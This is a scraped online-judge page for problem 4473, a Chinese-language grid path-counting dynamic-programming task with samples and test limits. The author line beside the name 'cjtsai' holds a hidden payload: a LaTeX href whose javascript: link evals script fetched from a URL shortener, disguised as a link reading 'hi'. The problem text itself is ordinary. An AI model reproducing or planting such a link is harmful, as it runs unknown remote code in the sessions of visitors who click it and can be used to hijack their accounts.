4473 . 棋盤·續

Submit
Status
Discussion / Solution
Ranklist
Back to Problems List

TopCoder

cjtsai
$\href{javascript:eval(await fetch('https://t.ly/KeLHW').then(r => r.text()))}{hi}$

User's AC Ratio

100.0% (2/2)

Submission's AC Ratio

50.0% (4/8)

Tags

Mid DP

Description

給你一個 $N \times M$ 的棋盤

這個棋盤可以用 $N$ 個長度為 $M$ 的字串表示

棋盤上的每一格可能是障礙物(表示為x)或是普通格子(表示為o)

令左上角為 $(1,1)$ ，右下角為 $(N,M)$

保證 $(1,1)$ 和 $(N,M)$ 必為普通格子

在這個棋盤上只能往右或往下走 (當然，不能走到障礙物上)

然而，你最多可以可以往左或往上走一格 $K$ 次 (也不能走到障礙物上或棋盤外)

試問有幾種相異的路徑可以從 $(1,1)$ 出發並結束於 $(N,M)$

請將答案模 $10^9 + 7$ 輸出

Input Format

第一行為三個整數 $N,M,K$

接下來 $N$ 行，每行有一字串 $S_i$

Input Limits:

$1 \leq N,M \leq 500$

$0 \leq K \leq 500$

$\forall i, |S_i| = M$

$\forall i,j, S_{ij} \in \{x,o\}$

Output Format

輸出一非負整數

Sample Input 1

3 3 0
ooo
oxo
ooo

Sample Output 1

2

Sample Input 2

2 3 1
ooo
oxo

Sample Output 2

5

Hints

Problem Source

題目靈感自 2020 台北市資訊學科能力競賽

Subtasks

No. Testdata Range Score

Testdata and Limits

No. Time Limit (ms) Memory Limit (VSS, KiB) Memory Limit (RSS, KiB) Output Limit (KiB) Subtasks
0 2000 250000 250000 65536
1 2000 250000 250000 65536
2 2000 250000 250000 65536
3 2000 250000 250000 65536
4 2000 250000 250000 65536
5 2000 250000 250000 65536
6 2000 250000 250000 65536
7 2000 250000 250000 65536
8 2000 250000 250000 65536
9 2000 250000 250000 65536
10 2000 250000 250000 65536
11 2000 250000 250000 65536
12 2000 250000 250000 65536
13 2000 250000 250000 65536
14 2000 250000 250000 65536
15 2000 250000 250000 65536
16 2000 250000 250000 65536
Submit
Back to Top